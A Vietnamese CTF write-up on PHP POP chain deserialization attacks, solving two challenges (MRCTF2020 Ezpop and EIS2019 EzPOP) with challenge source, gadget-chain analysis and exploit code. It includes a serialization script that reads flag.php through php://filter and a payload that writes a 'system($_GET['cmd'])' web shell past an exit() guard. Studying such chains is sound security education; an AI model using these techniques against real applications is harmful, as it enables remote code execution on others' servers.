Ở post này mình sẽ viết về cách khai thác PHP POP Chain mà mình học được qua các bài CTF.
PHP POP Chain còn được gọi là Code Reuse Attack là một kĩ thuật hoạt động dựa trên việc sử dụng các đoạn code có sẵn (gadget) và liên kết (chain) chúng lại với nhau để làm thay đổi luồng thực thi của chương trình theo ý muốn của attacker.
Thường thì kĩ thuật này sẽ được áp dụng khi một serialized object được đưa vào hàm unserialize()
và sử dụng đồng thời các magic methods để chain gadgets lại với nhau.
pop chain step
1. Ezpop - mrctf2020
Link challenge
https://buuoj.cn/challenges#[MRCTF2020]Ezpop
Overview
overview
Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
Phân tích
pop
get param sẽ được unserialize
nếu được gửi đến server. Lướt lên trên ta thấy class Show có khai báo một magic methods là __wakeup
-> đây là first gadget. Class Modifier có chứa một method đặc biệt __invoke
- “The __invoke() method is called when a script tries to call an object as a function.” -> dùng hàm này để include flag.php -> last gadget.
Mình sẽ lợi dụng __toString
và __wakeup
của class Show. Hàm preg_match
sử dụng $this->source
làm tham số thứ 2 vì vậy nếu gán source = new Show()
thì sẽ trigger được __toString
Tiếp tục hàm __toString
gọi đến $this->str->source
suy ra nếu ta gán str = new Test()
thì sẽ tương đương với new Test()->source
-> trigger __get
của class Test. Tới đây muốn chain tới gadget cuối thì cần gán p = new Modifier()
và ở Modifier gán cho var='php://filter/convert.base64-encode/resource=flag.php'
là xong.
Khai thác
exploit code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Modifier {
protected $var = 'php://filter/convert.base64-encode/resource=flag.php';
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
class Show{
public $source;
public $str;
}
$a = new Show();
$a -> source = new Show();
$a -> source -> str = new Test();
echo urlencode(serialize($a));
?>
send payload
flag.php
flag{9f937575-162d-4d4b-8030-c8859c08ac19}
2. EzPOP - EIS2019
Link challenge
https://buuoj.cn/challenges#[EIS%202019]EzPOP
Source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// Failed to create
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
// data compression
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
Phân tích
Thoạt nhìn vào đoạn code này thì mình phát hiện một thứ khá thú vị file_put_contents
xuất hiện ở class B trong hàm set()
, hàm này thực hiện việc ghi $data
vào $filename
=> có thể tận dụng để ghi một php shell trên server 😋. Ta sẽ cùng truy ngược lại các giá trị liên quan tới chúng.
- filename: được gán bằng
$this->getCacheKey($name)
với$name
là tham số truyền vào và được prepend với một giá trị trongoptions['prefix']
của class.1 2 3
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
- data: được gán bằng
$this->serialize($value)
với$value
là tham số truyền vào và$serialize
lấy từ một giá trị trongoptions['serialize']
của class.1 2 3 4 5 6 7 8 9
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); }
- expire: được gán bằng
$this->getExpireTime($expire);
với$expire
là tham số truyền vào1 2 3
protected function getExpireTime($expire): int { return (int) $expire; }
Nhưng ở đây nảy sinh ra một vấn đề 🤔, vì $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$data truyền vào mặc dù là một “User-Controllable Input” nhưng bởi vì được append vào cuối chuỗi nên khi thực thi shell thì sẽ thoát do exit()
. Đây là một bài post hay về các cách bypass hàm này và mình sẽ làm theo cách base64 decode.
Đến đây ta biết được last gadget sẽ là method set()
của class B vậy class A sẽ làm nhiệm vụ chain tới B. Nhìn lại source thì mình phát hiện được magic method __destruct
gọi tới save()
ở trong save()
gọi $this->store->set($this->key, $contents, $this->expire);
=> cần gán store = new class B()
. Và $key, $content, $expire
sẽ ứng với $name, $value, $expire
- key = “shell.php”
- expire gán đại bằng “bla”.
- content được gán bằng return value của
$this->getForStorage();
, mình sẽ contruct sao chogetForStorage()
trả về[[],"PD9jdWMgY3VjdmFzYigpOz8+"]
$cache = array();
$complete = base64_encode("xxx".base64_encode('<?php system($_GET[\'cmd\'])?>'));
ở đây cần thêm vào trước 3 kí tự bởi vì<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n
sẽ biến thànhphp//000000000000exit
khi dùng php wrapper -> length = 21, mà một nhóm chứa 4 kí tự base64 sẽ được decode thành 3 bytes nên ta phải thêm 3 bytesxxx
vào trước để tránh làm “hỏng” web shell.
Sau cùng $value="W1tdLCJQRDl3YUhBZ2MzbHpkR1Z0S0NSZlIwVlVXeWRqYldRblhTa1wvUGc9PSJd"
nên ở đoạn code $data = $this->serialize($value);
cần base64 decode trở lại và $data
sẽ bằng [[],"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk\/Pg=="]
-> $this->options['serialize'] = "base64_decode"
. Lần decode cuối cùng là lúc ghi vào file shell.php
dùng php wrapper và lưu ý các kí tự không hợp lệ sẽ bị bỏ qua.
Cuối cùng để ghi thành công một php shell lên server chỉ cần set $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='
🤗
Khai thác
Kết quả: result
flag{94d92ddd-e935-46d4-93ef-f4fb272bd81c}
Tài liệu tham khảo
https://websec.files.wordpress.com/2010/11/rips_ccs.pdf
https://vickieli.dev/insecure%20deserialization/pop-chains/
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list